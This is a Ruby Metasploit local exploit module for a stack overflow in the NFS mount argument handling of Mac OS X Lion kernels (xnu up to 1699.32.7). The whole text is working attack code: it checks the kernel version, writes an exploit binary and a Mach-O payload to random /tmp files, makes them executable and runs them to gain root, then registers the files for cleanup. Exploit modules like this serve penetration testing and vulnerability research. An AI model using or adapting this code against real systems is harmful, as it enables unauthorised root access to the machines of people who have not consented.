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require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Exploit::Local
Rank = NormalRanking
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => 'Mac OS X NFS Mount Privilege Escalation Exploit',
'Description' => %q{
This exploit leverage a stack overflow vulnerability to escalate privileges.
The vulnerable function nfs_convert_old_nfs_args does not verify the size
of a user-provided argument before copying it to the stack. As a result by
passing a large size, a local user can overwrite the stack with arbitrary
content.
Mac OS X Lion Kernel <= xnu-1699.32.7 except xnu-1699.24.8 are affected.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Kenzley Alphonse',
'joev'
],
'References' =>
[
[ 'EDB', '32813' ]
],
'Platform' => 'osx',
'Arch' => [ ARCH_X86_64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [
[ 'Mac OS X 10.7 Lion x64 (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_X86_64
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Apr 11 2014'
))
end
def check
if ver_lt(xnu_ver, "1699.32.7") and xnu_ver.strip != "1699.24.8"
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end
def exploit
osx_path = File.join(Msf::Config.install_root, 'data', 'exploits', 'osx')
file = File.join(osx_path, 'nfs_mount_priv_escalation.bin')
exploit = File.read(file)
pload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
tmpfile = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
payloadfile = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
print_status "Writing temp file... #{tmpfile}"
write_file(tmpfile, exploit)
register_file_for_cleanup(tmpfile)
print_status "Writing payload file... #{payloadfile}"
write_file(payloadfile, pload)
register_file_for_cleanup(payloadfile)
print_status "Executing payload..."
cmd_exec("chmod +x #{tmpfile}")
cmd_exec("chmod +x #{payloadfile}")
cmd_exec("#{tmpfile} #{payloadfile}")
end
def xnu_ver
m = cmd_exec("uname -a").match(/xnu-([0-9\.~]*)/)
m && m[1]
end
def ver_lt(a, b)
Gem::Version.new(a.gsub(/~.*?$/,'')) < Gem::Version.new(b.gsub(/~.*?$/,''))
end
end
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